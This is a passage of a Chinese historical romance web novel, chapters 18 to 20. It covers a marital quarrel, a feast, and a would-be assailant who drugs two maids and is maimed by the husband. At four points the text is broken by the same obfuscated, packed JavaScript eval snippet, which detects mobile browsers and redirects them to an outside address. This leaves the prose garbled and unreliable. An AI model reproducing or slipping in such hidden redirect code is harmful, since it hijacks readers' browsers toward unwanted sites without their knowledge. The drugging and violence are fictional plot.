想到此处,赶忙回到西次间,但见临窗是一张大榻床,中间摆着香几,几上摆的除了医书还有一个放了满满八种蜜饯的螺钿大漆八宝攒盒。 慕容鸾音脱鞋上榻,拿小银叉子叉起一颗蜜浸山楂来吃,酸酸甜甜十分开胃。 算了,还是大榻床舒服,一边看书一边吃蜜饯,看累了往后面一躺就能睡。 如此,用过晚膳后,慕容鸾音在腰后塞了两个大靠枕,就这般半躺着,翘着腿,举着医书看起来,翻了十来页就又坐起来,一边吃蜜饯一边翻阅。 不知不觉间,月上高楼,二更天了。 “姑娘,泡泡脚解解乏吧。”碧荷带着捧盆的蕊儿进来,拨开珍珠帘走到大榻床前,见满满当当的一盒蜜饯里头,蜜浸山楂和雕花甜杏下去了大半,立时不赞同的摇摇头,盖上盒子就道:“晚间吃多了积食,可不能再吃了。” 慕容鸾音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347617|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下医书,伸一个懒腰,笑着挪到榻边,脱掉罗袜,把茜红色百迭裙拢起掖在大腿间,这才把脚放进水盆,蕊儿见状要蹲下给她搓洗,慕容鸾音就道:“我泡一会儿,不用你。” 碧荷一面用帕子擦香几上的糖渣一面道:“姑娘,没几日就是中秋了,府里开始张灯结彩,依着二夫人管家时的旧例,中秋那日内宅女眷们聚在一块吃个晚膳就完了,咱们瑞雪堂如何安排?” 慕容鸾音低头,用脚指头逗弄水里的玫瑰花瓣,想了想仰起脸就道:“到日子,她们开她们的大宴,咱们瑞雪堂关了门开小宴,还按照我的例,让咱们瑞雪堂每一个人都点一样爱吃的菜,搬几个长条大案并在一起,大家伙欢聚,若有才艺愿意表演的,我有赏。市面上的月饼,有多少馅料买回多少,吃不完,宴散了就分下去。” 碧荷和蕊儿顿时都笑了,碧荷道:“她们就等着您发话呢,撺掇着我进来问的。” 慕容鸾音笑道:“过节嘛,就是吃喝玩闹,说说笑笑放松一日,不然何以眼巴巴的盼着过节。” 就在这时,门口风铃“叮叮当当”的响起来,不像风吹的。 慕容鸾音心上一紧,莫名觉得是他回来了,随即故意扬高声调,“碧荷姐姐,你听闻岱四爷在外头寻花问柳得脏病的事儿了吗?” 萧远峥蓦地收回手,肃脸入内,打眼便见厅堂中央多了一尊莲花香炉,浓郁的玫瑰香扑鼻而来。 以厅堂为界,西边杏粉色纱幔,还多了一面珍珠帘,东边竹青色纱幔,立着一面紫檀木架鹤鸣九皋缂丝屏风,一香艳热闹,一清寂冷肃,泾渭分明。 碧荷一时没反应过来,下意识的道:“没听说啊。” 实在是岱四奶奶来时,碧荷在忙替换帐幔的事儿,虽说等她忙完后,冬葵与她说了一声,但也并没提到岱四爷,故,碧荷没能及时跟上慕容鸾音的思维。 慕容鸾音捂脸,“你们先出去吧。” 彼时,萧远峥已坐在了正堂下的红木罗汉床上。 待得丫头出去后,萧远峥起身,拨开珍珠帘望向慕容鸾音,蹙眉道:“这等事,你从何处听闻?” 既答应了罗慧心为她保密,慕容鸾音就绝不会自作主张告诉别人,哪怕是为了解她之危难。 但一时之间她又编不出合适的,就佯装洗脚,拨弄的水声哗哗,恨不得使劲敲打自己的脑袋,让它快快想出一个经得起眼前这位青天大老爷盘问的说辞来! 灯火明亮,照见慕容鸾音一双雪白细长的小腿来,浸在水里的一双脚,在玫瑰花瓣的衬托下,越发秀气玲珑的令人想握起把玩。 “你家的这些仆妇嬷嬷,背地里嘴碎的很,我偶然听到一耳朵。”慕容鸾音自觉这个说辞就追究不到具体的人了,于是抬头道:“总之,空穴来风未必无因,你得管管吧?我是医者,我知道从那些脏地方得的脏病会传染妻妾,岱四奶奶多好的母亲啊……” “岱四奶奶来找过你?”萧远峥一边看着她说话一边就把身上的鸦青斗篷解了下来。 慕容鸾音一双杏眼蓦的瞪大,“你、你!” 18.第018章 给我洗脚 “和岱四奶奶没关系!” 萧远峥在她身畔坐定,见香几上有半盏茶,举起来就喝了一口。 “算了,你就当没听见吧。”慕容鸾音知道没人能骗过他,懊恼自己就不该提起此事。涉及夫妻房事,倘若岱四那脏东西非要,罗慧心该如何应对呢?他为夫,她为妻,行敦伦之礼,繁衍子嗣是明公正道。床榻帷帐之内的事情,总是让女子难以启齿。 就像眼前这狗东西,即便不喜她,也要为了繁衍子嗣与她同房,偏偏又心有不甘,就用那种隐秘的方式羞辱她。 不过,她再也不会让他得逞,就像昨夜,抓着哪里挠哪里,正像哥哥说的,他痛苦了,她心里竟出奇的痛快了。 慕容鸾音抬眸,见他目光落在自己的洗脚盆里,顿时就有了主意,“你和我坐在一块做什么,我浑身上下都香喷喷的,我的屋子也香喷喷的,可别把世子爷您熏吐了,速离了我这里,到你那寡淡无味的碧纱橱去吧。我只借给你这一个秋冬,明年春夏,你就回你的静园去。” “不早了,歇下吧。” “我说过了,你想爬我的床就求我,今夜我大发慈悲。”慕容鸾音抬起一只脚撩了撩水花,笑眯眯道:“你给我洗脚,我就给你。” 金盆中的玫瑰花瓣,随着水流的涌动,一忽儿亲吻她的脚尖,一忽儿贴着她的脚背,一忽儿又形成花环似的戴在她雪白细嫩的脚腕上。 萧远峥滚动一下喉头,掀起眼皮,眸光晦暗,“不要太过分。” “我过分?!”慕容鸾音猛地一跺脚,水花四溅,玫瑰花瓣飞出,落了一瓣在萧远峥江崖海水纹的衣摆上。 “是谁呀,厌我气味,厌我声音,行房之时捂我的嘴,以、以……”慕容鸾音玉面涨红,“你卑鄙无耻,阴暗可恶,我不过是以牙还牙!哥哥疼爱我,他既希望我用生子来巩固我们两家的关系,我会生的,但要以我的要求来!你若不从,就滚!” 话落,慕容鸾音光脚踩在地毯上,噔噔噔跑进了暖阁躺下,又对映在窗户上的人影道:“进来一个人,放下纱幔,熄灯,我要睡了。” 一时,碧荷垂着头战战兢兢的走了进来。 萧远峥垂着眼,不过是又把慕容鸾音狠心咬过的那一圈齿痕,结疤处抠了,任血横流。 待得碧荷将暖阁内的灯吹了,退出来放下这一层的纱幔,次间大榻床上已不见了萧远峥的踪影。她本以为是姑娘把世子爷惹恼,一怒离了瑞雪堂,谁知当她把珍珠帘这一层纱幔放下,转身要向外走时,就见碧纱橱内亮起了灯。 一霎,碧荷屏住呼吸,轻手轻脚拨开层层纱幔,回到暖阁,悄悄的告诉了慕容鸾音。 慕容鸾音听说,把眼泪一抹坐起来就瞪着大杏眼,不可置信的悄声反问,“真的?” 碧荷使劲点头,“您瞧一眼就知道了。” 慕容鸾音重新躺下,拉高绣被,瞪着水红帐顶,禁不住长叹一声,“不去瞧也知道,定是守着一摞又一摞的或是卷宗,或是书本在看。” 熬了一夜又一夜…… 梦境里她多心疼他啊,就想着把自己能为他做的都做了,替他分忧,给他一个无忧的后宅。 然而,心疼他的下场是什么呢? 呵。 慕容鸾音揉揉眼,直把眼睛揉红了才罢,翻身朝内就道:“碧荷姐姐,我这里无事了,你快洗漱一番去睡吧。” 碧荷想着,若自己留下陪床,夜里夫妻俩想做什么也抹不开面子,当即应“是”,又轻手轻脚出去了。 一夜无事,清晨早起去福寿堂请安,竟破天荒的没被老太太挑刺找茬,闹得慕容鸾音满心狐疑,直至用过早食福寿堂依旧无事,才把狐疑丢到脑后。 饭后在庭院中散步,见山茶花的叶子有些泛黄,就让蕊儿去把花草房的人叫来瞧,来的是周大娘,不知何何时向蕊儿打听着她最喜山茶花,就淘换了一盆粉色山茶,两手捧着,送了来。 慕容鸾音高兴的收了她的谢礼,闲话片刻,周大娘也把庭前这棵老山茶树叶片发黄的原因找着了,嘱咐往树根下埋一块肉,树根“吃了肉”,保准到了花季能枝繁花茂,迎雪更艳。 这会儿,她正看着冬青在树底下挖坑埋肉呢,就见孙香玉一手搭扶在大丫头月桂手臂上,一手扶着自己的腰,挺着肚子走了来。 “世子夫人,我可是何处得罪了你?” 慕容鸾音见她用帕子一抹眼睛,眼睛一红就落下泪来,弄出一个可怜巴巴的样子,心生反感,一把夺下她手里捏着的帕子,放在鼻子上一闻就扔地上,“下回少浸点姜汁,你一到我跟前我就闻到了,是不是我一直不戳穿你,你就打算一直用这招苦肉计?有事说事,无事请回,我忙着呢。” 孙香玉的脸一霎红一霎青,但想着自家那个混蛋兄弟还赖在自己院里不走,只得赔笑道:“世子夫人您误会了,我早上吃汤包时要了一碗姜汁,许是擦嘴时不小心掉进去了。我来寻你,也是好心,你东市锣鼓巷子那家陪嫁药铺的掌柜对你生了异心,你可知道?” 慕容鸾音此时已是明白了她的来意,直接道:“那家的掌柜忠心着呢,你不必拐弯抹角了,是我吩咐的,再不许赊账给你兄弟。” 孙香玉急道:“这是为何?之前不是好好的吗?我兄弟也不是不还账,这不是一直不凑手吗?你富得流油,如何就不能看在我的面子上,帮衬一二?恁的为富不仁!” 慕容鸾音当即冷笑,“我不过偶然一回帮周大娘治好了她小儿子,她就有心打听着我喜欢山茶花,费尽心思的为我淘换了一盆粉山茶,你呢?自打我嫁进来,你就跟我用苦肉计,我知道你的艰难处,就多方接济你,但这并不意味着我是冤大头。你兄弟孙鼎,打着你的名义,多次从我的药铺里赊去药丸,拿去乡下富户门上去高价卖,当我不知道?我不过是不想计较。但此番我认清了你,你是可怜之人必有可恨之处。话已至此,往后不必再来。” 话落,又特特对身边的碧荷道:“告诉院门上的,往后峰二奶奶再来,需通报,我不点头不许她大摇大摆的进来。” 孙香玉气怒交加,不解她无端端就撕破脸作甚。 忽的想起自己又怀上了,恍然明白过来,冷笑道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361925|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我当是什么,原来你是嫉妒我又有了,嫉妒我得我们二爷的宠爱。而你,抢别人的好姻缘,被世子爷嫌弃,自是对我眼红的滴血!” 慕容鸾音打量着她尚不显怀,却矫揉造作的扶腰挺肚作态,生生气笑了,“你敢当面戳我的短处,难道你自己就没有吗?若我没记错,应是十一年前,锦衣卫查封昌乐楼,你亲祖父和你亲小姑姑寸缕不着躺在一张床上,被人一剑对穿,穿成个糖葫芦样儿,如此丑事闻名京都,是你娘家的真事吧?若非你与峰二爷订的是娃娃亲,萧氏又重诺,以你娘家那时的名声,你能嫁进国公府吗?” 孙香玉一霎捏紧拳头,下嘴唇颤的合不拢,脸红粗喘,一副快要晕死过去的模样。 慕容鸾音目光下移,盯在她肚子上,露出一抹故意使坏的笑,拿手比划出茄瓜那般长的尺寸,“你若敢晕在我的院子里,我就用这么长的针扎你。谁在屋里,把我的金针包拿来。” 孙香玉怒红的脸一忽儿转白,捂着腹部尖声大叫,“快扶我走,她嫉妒疯了要害我!” 主仆俩逃也似的奔出院门,慕容鸾音就忽的听见孙香玉的嚎啕大哭声。 院门上的仆妇赶紧来讨好,“夫人,峰二奶奶一路哭着走了。” 慕容鸾音出一会儿神,没言语,叹一口气往屋里去了。 这时冬葵带着人从后罩楼上把装花灯的箱子都搬了过来,本想着去告诉一声,去年的花灯损坏了好些,是否要买些新的,被碧荷拦了下来。 “姑娘把中秋宴的银子都给我了,咱们看着弄吧,别去烦她。姑娘喜欢花灯,再多多的买些回来,挂满一院子她才高兴。” 冬葵应“是”,拿着碧荷拨下来的银子,即刻就带着人出去了。 · 峰二爷院。 孙鼎在堂屋里翘着二郎腿等信儿,一会儿要吃肥鸡酱鸭,一会儿又要喝酒,吃饱喝足了,吵嚷着让丫头进来收拾残羹剩菜,瞅着机会就把最漂亮的菊梦弄到了怀里乱摸,吓的菊梦大哭。 “闭嘴!”孙鼎一巴掌扇下去,菊梦立时吓的跟死了一样,然而哭声反而更大了。 “我不活了!” 孙鼎往门外一瞧,见竟是他妹妹张着大嘴在哭,猛地把菊梦推地上,一怒而起,“你在瑞雪堂受辱了?” 孙香玉一屁股坐在罗汉床上,边哭边骂,“有几个臭钱就兴头的不知道自己祖宗是什么东西的烂货!毒妇!倒推几十年,她祖宗给咱们祖宗吮疮尝屎都轮不上!想咱们也是开国侯的后代啊,我若生在咱们家最辉煌的时候,那浑身铜臭的毒妇给我提鞋都不配!我赔笑装哭哄了她这三年,我才委屈,她倒撕破脸了!” 哭骂到这里,孙香玉一把抓住孙鼎的胳膊,扬起涕泗横流的脸道:“这都罢了,我一抹脸还能去缠磨她弄钱,可她一张贱嘴揭十一年前昌乐楼的丑事,早知如此,倒不如当年父亲投河时,我也跟了去!” 孙鼎听到这里,已是气的浑身发抖,脸色铁青,猛一发力就把酒桌掀了,“嘭”的一声,哗啦啦一阵,碗盘酒杯碎裂,残渣剩饭,浓稠酱汁菜汤子,糊了满地。 19.第019章 深闺寂寞 孙鼎一怒掀了酒桌,扔下一句“且容我想法儿弄她!”,整整衣冠就匆匆去了。 到了晚间,萧远峰下值回来,孙香玉就添油加醋的把今日在瑞雪堂的遭遇,颠倒个黑白说了一遍,哭着让萧远峰给她做主。 萧远峰却道:“阿音表妹不是那样的人,定是你得寸进尺惹了她厌。” 孙香玉一听他亲亲热热的喊什么“阿音表妹”,顿时就打翻了醋坛子,正要仗着肚子哭闹降服他一回,就见他扯起身上起了毛边的单薄罗衫,板着脸道:“我倒要问你,何时为我添秋衣,每月里公中给我五十两,给你五两,宁姐儿二两,耀哥儿四两,现如今你肚子里又揣着一个,按例多添你二两,秋姨娘三两,都在你手里,一年四季,公中若有现成的还会拨下衣料来,怎么我竟分不得一点?若没有新衣,旧衣也凑合,我的旧衣又在谁身上?” 孙香玉吱吱呜呜半响儿,索性挺起肚子来哭诉娘家败落,兄弟无能,老母亲只她一个女儿,她还能自己吃香的喝辣的,冷眼看着娘家一家子老小喝西北风嘛。 萧远峰被她哭的心烦,起身就往秋姨娘房里去了。 孙香玉不敢再作妖,极贤惠的亲自提了一食盒酒菜给送了去。 自以为糊弄住了,谁知,第二日早上老太太就发下话来,言说自己近几日身子不好,经不得大热闹,需静养,今年中秋就各院过各院的,晨昏定省的礼也省了,过了八月十五再来。 有欢喜的,有本就不爱凑热闹的,还有的就似孙香玉,当孩子们眼巴巴的问她要月饼糖果吃,要花灯玩时,她一个头两个大,真真切切念起慕容鸾音管家时的好处来。 若是慕容鸾音管家,必会把原打算用在大宴上的各色干果、糖果、糕点,酒菜,月饼花灯等过节之物,给每个院子分一分。 中秋团圆,各官署都有三日假,萧远峰必然也会在家,孙香玉怕惹出他的真火来,若较真逼问她手里银子的去向,即便肚子里有护身符怕也保不住她了。随即就忍痛把自己仅剩的一个用来撑脸面的金项圈交给心腹丫头拿出去当了两百两银子回来,也热热闹闹的办起了院中小宴。 · 瑞雪堂是碧荷揽总指挥,茯苓冬青冬葵各管一摊,已是井然有序的把整座院落装点起来了。 其中低等的小丫头,粗使的仆妇嬷嬷,还有倒夜香的老嬷嬷最期待的就是点菜,平日里,大丫头们几乎和主子吃的是一样的,那些大丫头们倚重的二等丫头如蕊儿这样的,也偶尔能蹭上两口,只她们这些不得进屋里伺候的,只有眼馋的份儿。 现如今趁着过节,主子又发话,就大着胆子僭越一回,又因着肚子里油水少,就只认准了烧鸡、酱鸭、炖鹅、酱肘子这类肥腻油水大的。 而来往于瑞雪堂传话的未留头的小幺儿们,想的却是每人都有的装满干果糖果和月饼的小竹篮,可以带回家去和兄弟姐妹们分享。 后日就是阖家团圆的日子了,想到至今仍在郊外悬天观养病的舅外祖,慕容鸾音就想着亲自下厨房为他熬一碗最爱的莲子羹送去。但乍然想到梦境中,有人往她熬的莲子羹里下毒,就改了主意,让冬青骑马送去了一对靛蓝色葫芦锦面狐狸皮里子的护膝。 谁知,黑伯只收了她的孝心,冬青连观门也没能进去就被打发了回来。 究竟怎么样呢?真让人忧心。 梦境里究竟谁那么恨舅外祖…… 慕容鸾音忽的坐直身子,凶手把毒下在她亲手熬的莲子羹里,是既恨舅外祖又恨我才对,总不会是老太太做的吧?何至于此。 想起老太太,慕容鸾音就想起这几日福寿堂的安静来。 难道真的是身子不好,高卧静养? 管她呢,能一直这般不闹幺蛾子才好。 盼望着,盼望着,似是眨眼间就到了“但愿人长久,千里共婵娟”之夜。 瑞雪堂,且不提那些摆在四面平红木大案上的,令人垂涎欲滴的美食,亦不提那些散发着浓郁果香的果子酒,碧荷知道慕容鸾音喜欢看花灯,就把廊檐上、花枝上都挂上了花灯,有绛纱灯、八角流苏宫灯、兔子灯、莲花灯等,这是挂灯,地上还有座灯、立灯、扇形灯和滚灯。 慕容鸾音欢喜不已,提着裙子踢了两下滚到她脚边的绘着猫咪滚绣球图案的大红滚灯,就笑道:“都站着做什么,入座开宴吧,早早的吃好了玩好了,把剩余的分一分带回家去,让你们与家人也团圆一回,明日一早再回来当差便是。” 众仆婢顿生欢喜,在碧荷带领下一起福身行礼,恭祝慕容鸾音喜乐安康,万事胜意。 慕容鸾音一时感慨万千,心知这必是碧荷姐姐的用心安排,就笑道:“也祝你们同我一样,喜乐安康,万事胜意。” 话落,抬手一压,众仆婢各归己位,这才说说笑笑吃喝起来。 慕容鸾音是独坐的,一张小茶桌,一张扶手椅,设在抬头就能观月的廊檐下。 慕容鸾音既真心想着她们,她们亦真心想哄她高兴,酒过一巡,就有洒扫上的嬷嬷献上一张自己剪的瓜瓞绵延大窗花来。 紧接着又有一个壮妇鼓起勇气给慕容鸾音唱了一支江南小调,只是她的嗓子粗豪,唱起江南小调来有些让人忍俊不禁。 还有的献上了自己绣的帕子,香囊和打的络子。 慕容鸾音一一都收下了,赏她们自己去笸箩里抓赏钱。 这时蕊儿高举着一个鸡毛毽子走上前来,笑道:“夫人,我会花样踢毽子,献丑了,请您赏看。” 慕容鸾音一下来了兴致,站起来道:“要说踢毽子,我也会,也会好几个花样呢,转圈踢,过肩踢,两个毽子一起踢,不若咱们比比,谁后落地,谁的花样多,谁就赢了,倘若你赢了我,我赏你一颗金花生,如何?” 蕊儿顿时笑的合不拢嘴,“夫人输了可会生气?” “瞧不起谁呢。”慕容鸾音嗔她一眼,接过碧荷进屋去找来的七彩鸡毛毽子,将裙子撩起掖在腰间宫绦内就下场笑道:“开始。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14370124|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谁不想要金花生呢,蕊儿又深知慕容鸾音是个大方的,就使出浑身解数,把闲暇时瞎琢磨出来的花样都踢了一遍出来。 其他人等就都笑着,拍着巴掌帮她们数数、数花样。 慕容鸾音到底是三四年没踢过了,甫一下场还能踢出最擅长的那几个花样,再往后就只顾得上稳住鸡毛毽子不掉了。 一连踢了上百个,慕容鸾音气喘吁吁,却见蕊儿那小丫头还能踢出花样来,顿时不来了,笑着接住鸡毛毽子交给碧荷,就道:“碧荷姐姐,你想着给她找一颗金花生。” 蕊儿听见,顿时喜的连飞在半空中的鸡毛毽子也不顾了,跪下就给慕容鸾音磕了个头。 慕容鸾音让她起来,随即就道:“我累了,你们再玩一会儿也散了吧,廊檐下堆了好些竹篮子,你们把东西分装干净,就快快回家与家人团圆去吧。该收拾的明儿回来再收拾也不迟。” 话落,径自进屋去了。 碧荷怕那些心急的会哄抢,就与茯苓冬青冬葵一块,带着蕊儿叶儿果儿花儿四个二等丫头,一起动手装好了再一一分派。 却说孙鼎,自那日离了郧国公府就日夜琢磨着如何治慕容鸾音一治,想着一人计长二人计短,听闻宋大福对慕容鸾音心怀怨恨,就勾搭到一起喝酒,三四壶黄汤子下肚,二人眼饧耳热,就不知自己是谁来,宋大福就说,慕容鸾音相貌身段都十分骚人痒处,孙鼎赶着追问,比之你们峰二奶奶如何? 宋大福就乜斜眼道:“十个峰二奶奶绑在一起也不及世子夫人一个。可那又如何,还不是被世子爷嫌弃厌恶。你可知道,后日团圆夜世子爷会在何处?” 孙鼎殷勤的给宋大福又倒满一杯酒,哄着他喝下,“还能在何处,在世子夫人房里呗。” “错!在福寿堂,和嫡亲的表妹偷、偷情……” 一语未了,宋大福“咚”的一声趴桌子上醉死过去。 孙鼎却呼吸急促,脸色潮红,激动的发起抖来,已是认定慕容鸾音是个深闺久旷,极需男子滋润的寂寞少0妇。 他自认为自己潘驴邓小闲,能占三样,其中尤以“驴”是他平生最得意,那些院里久经百战的娼女,尚且回回都称赞他器大活好,受不住。只要能让那慕容鸾音受用一回,得了瘾头,往后就离不开他了,她那些钱财,还不是他说怎么使就怎么使。 但那毕竟是国公府的内宅,他虽能借口与妹妹同过中秋混进去,但倘若那慕容鸾音是个烈性的,张嘴喊叫,他定是跑不了,还需让人身子酥软的媚药辅助。 遂,想起一个相熟的老虔婆来,她那里必有好药。 想到此处,当即就撇下宋大福,离了酒楼,往老虔婆那里寻药。 是夜,孙鼎换了一身国公府内粗使仆妇的衣裳,从孙香玉院往瑞雪堂而来,却见,瑞雪堂的院门大敞四开,陆陆续续有提着篮子的仆婢从里头笑着走出来。 他急忙躲到暗处,心里狂喜,觑着个时机就低着头溜了进去。 20.第020章 断臂、废眼 宴席散了,满院的灯笼,有蜡烛烧完的就熄灭了,秋风袭来,落叶簌簌,若非吃喝尽了的空碗盘还摆在红木大案上,此前的灯火辉煌和欢笑热闹仿佛一场梦。 孙鼎躲在抄手游廊拐角处的竹丛里,就瞧见一个大丫头从堂屋里出来去关门,紧接着又一个大丫头臂肘上挎着一个大竹篮也走了出来。 冬青跨过门槛子就回头对要关门的冬葵道:“今儿十五是正日子,世子爷一定会来,你可别把门关死了。” 冬葵笑推她一把,“咱们四个里头你是最愚钝的,你都看得出来姑娘的心事,我反不如你嘛,快去给周大娘送月饼吧。” 一时,冬青去了,冬葵把门掩上就去了小跨院茶房。 孙鼎见状,掏出抹了迷药的湿帕子,冬葵前脚进了小跨院,他后脚就偷偷跟了进去。 堂屋内,慕容鸾音在西次间大榻床上看书,碧荷在一旁点香,茯苓坐在绣墩上把一盘子蜜桔都吃完了,想要小解,就站起来道:“我出去走走。” 碧荷抬头道:“顺道去茶房催催,茶炉子上就有现成的一壶热水,又不用她现烧,怎么这么半天还没回来。” 茯苓答应一声出去了。 慕容鸾音忽的想起一事,放下医书就道:“我竟忘了要给龙姐姐做冷梅香的事儿,碧荷姐姐,你去把我制冷梅香的香料方子找出来,明儿让蕊儿拿着方子到药铺配去。” 碧荷把博山香炉的盖子盖上,起身就往暖阁里去,“您那些香料方子我都整整齐齐收在一个匣子里呢。” 那边厢,孙鼎把冬葵和茯苓都迷晕了,扯下她们的腰带把她们捆了,堵住嘴,关在茶房里,他悄悄走出小跨院,顺着抄手游廊就潜到了正房门口。 门半掩着,他塌胸缩背蜷成一团,垫着脚黄鼠狼一般就钻了进去,躲在纱帐后,露出一双眼,隔着玲珑雕板往内一瞧,只一眼就浑身酥痒难耐起来,想那花精狐仙、杨妃貂蝉也不过如此了吧,当即痛恨自己之前太老实,进得内宅来,竟只去妹妹院子,没往这边来过,倘若他知道,被萧远峥厌弃的女人是这般的娇媚香艳,这般的风骚体态,他定早早就来霸占。 正在他猛咽一口口水,想伺机而动时,就见从暖阁里又走出一个捧匣的大丫头。 登时,他就觉有些棘手,但开弓没有回头箭,只需把慕容鸾音弄上手,为自保为名声,她都必不会声张,反而会替他扫尾隐瞒。 想到此处,忽的懊恼自己猴急,竟忘了院门是轻掩着的,一会儿若他冲上去抱住一个,另一个逃出去就坏了。 正当他想偷偷出去拴上门时,猛地就觉被一只冰冷的铁爪勾住了后脖子。眼角余光一瞥,惊见一双锋利如鹰隼的眼,下意识“啊”地一声大叫,惊掉了碧荷手上捧的匣子,惊的慕容鸾音下榻来瞧,就见萧远峥两手抓着一个人的肩膀,猛地甩飞了出去。 萧远峥大步流星追着飞出去重摔在廊檐下的人,上去一脚又将其踹下了台阶。 孙鼎背脊撞上四面平红木大案的案腿,大案震动后移数寸,案上杯盘茶盏一阵丁铃当啷,落地而碎。 慕容鸾音吓坏了,躲在门后向外瞧,脸色微微泛白,“怎么、怎么她是个男人声?有外男进来了?” 却原来这孙鼎不只换了仆妇的衣裳,还在头上包了一块大红的巾帕,从头到脚都装扮的和壮妇一般无二。 然而,这如何能瞒得过萧远峥的眼睛。 孙鼎爬了两下没爬起来,跪趴在那里仰起惊恐扭曲的脸,哀声求饶:“世子爷饶命,世子爷我是峰二爷的妻兄孙鼎啊。” 萧远峥回眸望向慕容鸾音,见她身上穿的是一袭绯红裹胸睡裙,灯色下,衬的胸前肌肤莹白如玉,一对酥团满月似的,闭了闭眼,再睁眼时,眸中暴戾之气一闪而过。 “去把峰二爷叫来。” 观棋气喘吁吁的抱着一件墨绿鹤氅将将走来,尚不知发生了何事,闻听要他去叫峰二爷,往地上一瞥惊见是个外男,脸色一肃,抱着鹤氅转身就向外跑去。 碧荷吓的心脏“噗通”“噗通”狂跳,慌手慌脚拿来一件海棠红云锦斗篷将慕容鸾音包裹住,颤声道:“姑娘别怕。” 慕容鸾音裹紧身上斗篷,望着萧远峥宽阔的后背,嘴角翘起一点,“青天大老爷在这儿呢,没什么好怕的了。快去找找冬葵和茯苓,她们千万别有事才好。” 碧荷连连应“是”,沿着抄手游廊就向小跨院跑去。 “你进去吧,我来处理。” 慕容鸾音见他面上一副波澜不惊的模样,不由得就想,若是被外男窥伺的是洛淑仪,他可还能如此镇定自若? 呵,没意思。 慕容鸾音转身回房,爬上大榻床就把窗户推开了,静等着看他要如何处理。 没一会儿,萧远峰飞跑着进来,打眼一瞧地上那女扮男装之人,脸色顿时铁青,没有二话,“噗通”一声就跪下了,“大哥,随你处置,我听你的。” 萧远峥步下台阶,走向孙鼎,“废你一双眼睛可好?” 孙鼎浑身抖若筛糠,失声大叫,“我什么也没来得及做!妹丈、妹丈,看在香玉的面子上,看在我是宁姐儿耀哥儿亲舅舅的份上,帮我求情,我再也不敢了,我猪油蒙了心了,就这一回,真真什么也没干上!” 背对众人,萧远峥双眸一霎猩红,就在此时,孙鼎掏出匕首就狠狠刺来,“一起死!” 萧远峥把孙鼎突然暴起,持匕刺来的动作尽收眼底,一把钳住他的手腕,按住他的头颅,膝盖猛地顶起,“咔嚓”一声,孙鼎的臂肘反向弯折,匕首落下,萧远峥一把接住,握在手中往他暴睁的双眼中一划,登时鲜血迸溅。 孙鼎凄厉惨叫一声晕死过去。 慕容鸾音蓦地捂住耳朵,心跳如麻。 萧远峥扔下匕首,垂袖背手捏紧拳头,淡淡道:“依律,刺杀朝廷三品及以上官员者,凌迟处死,正正好,我在其列,念在你是峰二奶奶的亲兄弟,只施以断臂,废眼之刑,二弟,你可有话要说?” 萧远峰连忙道:“咱们是亲兄弟,我与大哥同心!何况,大哥将府中门禁护卫之事交给我,我却疏漏了这一个畜生,请大哥责罚!” 话落,一头磕在地上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14380022|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的失责之处明日再说不迟。今夜是团圆夜,别让畜生扰了兴致,带下去关起来,明日一早我还要审他。” “是。” 这时,碧荷也早把被迷晕在茶房里的冬葵和茯苓掐醒了,一个搀扶着一个正呆呆站在小跨院门口。 萧远峥冷冷瞥她们一眼,就道:“打盆洗脚水送进来。” 三个婢女一愣,碧荷率先反应过来,压着喜色连忙分派道:“我去屋里拿花瓣和金盆,你们俩再去茶房提热水。” 屋里的大榻床上,慕容鸾音慌忙关紧窗户,压着心口想,他定是自己要洗脚,绝无可能是给她洗脚。 此时,萧远峥在门口暗影处站着吹风,直到碧荷亲自把撒了玫瑰花瓣的洗脚水送进屋内,他才施施然入内。 “放我这里做什么,放碧纱橱去。” “你们都出去吧,关好门。” 二人的说话声重叠,碧荷赶忙把金盆放在大榻床下的脚踏上,疾步退了出去。 慕容鸾音仍旧不敢相信,慌忙坐到榻沿上穿鞋,“你要在这里洗脚?我把位置让给你就是。” 